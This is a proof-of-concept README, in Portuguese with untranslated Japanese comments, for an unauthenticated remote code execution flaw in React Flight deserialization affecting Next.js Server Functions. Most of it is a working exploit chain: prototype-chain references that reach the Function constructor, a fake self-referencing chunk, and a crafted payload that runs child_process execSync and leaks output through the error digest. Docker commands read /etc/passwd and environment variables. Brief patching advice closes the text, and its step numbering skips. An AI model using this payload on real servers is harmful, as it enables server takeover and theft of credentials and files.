
Prova de conceito da vulnerabilidade de execução remota de código (RCE) em React Server Functions (Next.js, entre outros). Explora a poluição de protótipo para executar código arbitrário no servidor sem autenticação.
Aviso: Este repositório é apenas para fins educacionais e de pesquisa. É estritamente proibido o uso indevido.
No processo de desserialização do React Flight Protocol, a validação da cadeia de protótipos é insuficiente.
Isso permite acessar o construtor Function por meio de __proto__ e executar código JavaScript arbitrário.
É a forma mais simples de verificação.
# 1. 脆弱なNext.jsサーバーを起動
docker compose up -d --build
# 1. エクスプロイトを実行(デフォルト: idコマンド)
docker compose run --rm poc
# 4. カスタムコマンドを実行
docker compose run --rm -e COMMAND="whoami" poc
docker compose run --rm -e COMMAND="cat /etc/passwd" poc
docker compose run --rm -e COMMAND="env" poc
# 5. サーバーを停止
docker-compose down
É um recurso de API do lado do servidor oferecido pelo Next.js, entre outros.
// Server Action(サーバー側でのみ実行される関数)
async function submitForm(formData) {
'use server' // ← サーバー関数の宣言
// データベース操作など、サーバー側の処理
const result = await db.insert(formData)
return result
}
Quando chamada a partir do cliente:
O cliente envia os dados em unidades chamadas de "chunks":
files = {
"0": (None, '["$1"]'), # チャンク0: チャンク1への参照
"1": (None, '{"object":"fruit","name":"$2:fruitName"}'), # チャンク1: チャンク2のfruitNameを参照
"2": (None, '{"fruitName":"cherry"}'), # チャンク2: 実際のデータ
}
Quando desserializado no lado do servidor:
{ object: 'fruit', name: 'cherry' }
O ponto-chave é que os chunks podem fazer referência cruzada entre si.
Antes do commit de correção, ao resolver referências de chunks, não era verificado se a chave existia de fato no objeto.
Isso permite acessar a cadeia de protótipos.
files = {
"0": (None, '["$1:__proto__:constructor:constructor"]'),
"1": (None, '{"x":1}'),
}
Processo de resolução da referência:
チャンク1のオブジェクト → __proto__ → constructor → constructor → Function
Resultado:
[Function: Function] // Functionコンストラクタを取得!
Transforma o chunk 0 em um objeto e define a propriedade then como o construtor Function:
files = {
"0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
"1": (None, '{"x":1}'),
}
Código do Next.js (action-handler.ts:888, antes do patch):
boundActionArguments = await decodeReplyFromBusboy(
busboy,
serverModuleMap,
{ temporaryReferences }
)
Esse await, ao tentar chamar o objeto cujo then é o construtor Function, gera um erro:
SyntaxError: Unexpected token 'function'
at Object.Function [as then] (<anonymous>) {
digest: '1259793845'
}
O construtor Function foi obtido, mas como fazer com que execute código arbitrário?
O que é necessário:
Ideia de maple3142: criar um "chunk falso" em que o chunk 0 referencia a si mesmo.
files = {
"0": (None, '{"then": "$1:__proto__:then"}'), # 自分のthenをChunk.prototype.thenで上書き
"1": (None, '"$@0"'), # $@0 = チャンク0の「生」の表現
}
A sintaxe $@ retorna o "chunk bruto", em vez do valor resolvido:
case "@":
return (
(obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
);
Resultado: o then do chunk 0 é substituído por Chunk.prototype.then.
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) {
case "resolved_model":
initializeModelChunk(this); // ← ここに入る
}
// ...
}
Ao definir status: "resolved_model" no chunk falso, initializeModelChunk é chamado:
files = {
"0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
"1": (None, '"$@0"'),
}
Internamente, em initializeModelChunk:
function initializeModelChunk(chunk) {
var rawModel = JSON.parse(resolvedModel),
value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
// ...
}
Aqui ocorre a segunda avaliação.
Processamento de blob do React Flight Protocol (prefixo $B):
case "B":
return (
obj = parseInt(value.slice(2), 16),
response._formData.get(response._prefix + obj) // ← ここを悪用
);
Manipula o _response do chunk falso para definir _formData.get como o construtor Function e _prefix como o código a ser executado:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1, # toString()でエラーにならないように
"value": '{"then": "$B0"}', # blob参照でthenを設定
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('calc');",
"_formData": {
"get": "$1:constructor:constructor", # Functionコンストラクタ
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
Fluxo de execução:
response._formData.get(response._prefix + "0")
↓
Function("process.mainModule.require('child_process').execSync('calc');0")
↓
// この関数がawaitされて呼び出される → コード実行!
O poc.py implementa o payload descrito acima e extrai o resultado da execução do comando a partir da mensagem de erro:
# コマンド出力をエラーのdigestフィールドに埋め込む
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});"
Basta definir o cabeçalho HTTP Next-Action: x para que o ataque seja bem-sucedido:
headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers)
Importante: Este ataque ocorre durante a desserialização e, portanto, é executado antes da validação da ação (getActionModIdOrError).
Atualize imediatamente: Atualize o React e o Next.js para as versões mais recentes
npm update react react-dom next
Verifique as versões:
npm list react next
WAF/Medidas de segurança:
Next-Action# プロジェクトの脆弱性チェック
npm audit
Este repositório é fornecido somente para fins educacionais e de pesquisa.
Descoberta da vulnerabilidade: maple3142 Implementação do PoC: criador deste repositório